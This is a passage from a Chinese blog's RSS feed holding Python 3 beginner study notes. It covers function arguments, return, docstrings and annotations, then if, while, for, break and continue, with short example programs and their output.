numbers:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;count +=number<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;count +=vegetables<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return count<br/><br/>print(total(10,1,2,3,vegetables=50))<br/><br/>print(total(10,1,2,3))<br/><br/>运行输出：<br/><br/>>>><br/><br/>66<br/><br/>Traceback (most recent call last):<br/><br/>File "C:/Python30/mywork/func1.py", line 8, in <module><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(total(10,1,2,3))<br/><br/>TypeError: total() needs keyword-only argument vegetables<br/><br/>注意：Keyword-only参数后面的参数必须指定默认值。<br/>return 语句<br/><br/>return语句用来从函数中返回，比如跳出函数，返回值是可选的。<br/><br/>def maxium(x,y):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if x>y:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return x<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return y<br/><br/>print(maxium(2,3))<br/><br/>运行输出：<br/><br/>>>><br/><br/>3<br/><br/>return不带返回值相当于return None。每个函数最后都隐式的包含return None语句，除非你写了自己的return语句。<br/><br/>def someFunction():<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;pass<br/><br/>print(someFunction())<br/><br/>运行输出：<br/><br/>>>><br/><br/>None<br/><br/>pass表示空的代码块。内建函数max能够完成找到最大的功能。<br/>文档字符串<br/><br/>Python有一个极好的特性——文档字符串DocStrings。<br/><br/>def printMax(x,y):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;'''Prints the maxium of two numbers.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;The two values must be integers.'''<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;x=int(x)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;y=int(y)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if x>y:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(x,'is maxium')<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(y,'is maxium')<br/><br/>printMax(3,5)<br/><br/>print(printMax.__doc__)<br/><br/>运行输出：<br/><br/>>>><br/><br/>5 is maxium<br/><br/>Prints the maxium of two numbers.<br/><br/>The two values must be integers.<br/><br/>函数逻辑行的第一行的字符串就是该函数的文档字符串，模块和类中都有文档字符串的应用。文档字符串的传统是第一行首字母大写并以点结束，第二行为空，第三行为详细介绍。使用__doc__属性可以得到文档字符串。Help函数就是读取函数的文档字符串并显示出来。我强烈建议大家写程序时遵守文档字符串传统。<br/>注解<br/><br/>函数的另一高级特性是注解，在这里可以很好的了解参数和返回值。如需详细了解注解请参考Python Enhancement Proposal No. 3107 (<a href="http://www.python.org/dev/" target="_blank">http://www.python.org/dev/</a> peps/pep-3107/ )
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/766/</link>
<title><![CDATA[python3学习笔记4]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Tue, 09 Jun 2009 12:04:17 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/766/</guid> 
<description>
<![CDATA[ 
	4.Python:控制流<br/><br/>当你的选择不同时，程序的流程也就不同，这是靠控制流来实现的。Python有三种控制流语句：if，for 和while<br/>if<br/><br/>如果条件为真，则执行一块代码，否则执行另一块代码。else块是可选的。<br/><br/>number=23<br/><br/>guess=int(input(&#039;Enter an integer:&#039;))<br/><br/>if guess == number:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Congratulations, you guessed it.&#039;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;(but you do not win any prize!)&#039;)<br/><br/>elif guess&lt;number:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;No, it is a little higher than that&#039;)<br/><br/>else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;No, it is a little lower than that&#039;)<br/><br/>print(&#039;Done&#039;)<br/><br/>运行输出<br/><br/>&gt;&gt;&gt;<br/><br/>Enter an integer:10<br/><br/>No, it is a little higher than that<br/><br/>Done<br/><br/>&gt;&gt;&gt;<br/>While<br/><br/>只要条件为真就重复执行某块代码，也可以带有else块。<br/><br/>number=23<br/><br/>running =True<br/><br/>while running:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;guess=int(input(&#039;Enter an integer:&#039;))<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if guess == number:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Congratulations, you guessed it.&#039;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;(but you do not win any prize!)&#039;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;running = False<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;elif guess&lt;number:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;No, it is a little higher than that&#039;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;No, it is a little lower than that&#039;)<br/><br/>else:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;The while loop is over!&#039;)<br/><br/>print(&#039;Done&#039;)<br/><br/>运行输出：<br/><br/>&gt;&gt;&gt;<br/><br/>Enter an integer:10<br/><br/>No, it is a little higher than that<br/><br/>Enter an integer:20<br/><br/>No, it is a little higher than that<br/><br/>Enter an integer:30<br/><br/>No, it is a little lower than that<br/><br/>Enter an integer:25<br/><br/>No, it is a little lower than that<br/><br/>Enter an integer:24<br/><br/>No, it is a little lower than that<br/><br/>Enter an integer:23<br/><br/>Congratulations, you guessed it.<br/><br/>(but you do not win any prize!)<br/>for<br/><br/>for…in语句表示迭代序列中的每一个元素，该序列必须是有序的。<br/><br/>for i in range(1,5):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(i)<br/><br/>else:<br/><br/>　　print(&#039;The loop is over&#039;)<br/><br/>运行输出：<br/><br/>&gt;&gt;&gt;<br/><br/>1<br/><br/>2<br/><br/>3<br/><br/>4<br/><br/>The loop is over<br/>break<br/><br/>break语句用来跳出循环，如果跳出的是for或者while循环，那么相关的else块也不会被执行。<br/><br/>while True:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;s=(input(&#039;Enter something:&#039;))<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (s==&#039;quit&#039;) or (s==&#039;exit&#039;):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Length of the string is &#039;, len(s))<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;缩进测试&#039;)<br/><br/>print(&#039;Done&#039;)<br/><br/>运行输出：<br/><br/>&gt;&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>Enter something:hello<br/><br/>Length of the string is 5<br/><br/>缩进测试<br/><br/>Enter something:exit<br/><br/>Done<br/><br/>while True:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;s=(input(&#039;Enter something:&#039;))<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (s==&#039;quit&#039;) or (s==&#039;exit&#039;):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Length of the string is &#039;, len(s))<br/><br/>print(&#039;缩进测试&#039;)<br/><br/>print(&#039;Done&#039;)<br/><br/>运行输出：<br/><br/>&gt;&gt;&gt;<br/><br/>Enter something:hello<br/><br/>Length of the string is 5<br/><br/>Enter something:quit<br/><br/>缩进测试<br/><br/>Done<br/><br/>说明while循环仅靠缩进改变来结束，以后要小心。<br/>continue<br/><br/>continue语句用来跳出本次循环，进入下次循环迭代。<br/><br/>while True:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;s=(input(&#039;Enter something:&#039;))<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (s==&#039;quit&#039;) or (s==&#039;exit&#039;):<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br/><br/>&nbsp;&nbsp; if len(s) &lt; 3:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Too small&#039;)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&#039;Input is of sufficient length&#039;)<br/><br/>print(&#039;Done&#039;)<br/><br/>运行输出：<br/><br/>&gt;&gt;&gt;<br/><br/>Enter something:he<br/><br/>Too small<br/><br/>Enter something:hello<br/><br/>Input is of sufficient length<br/><br/>Enter something:exit<br/><br/>Done
]]>
</description>
</item>
</channel>
</rss>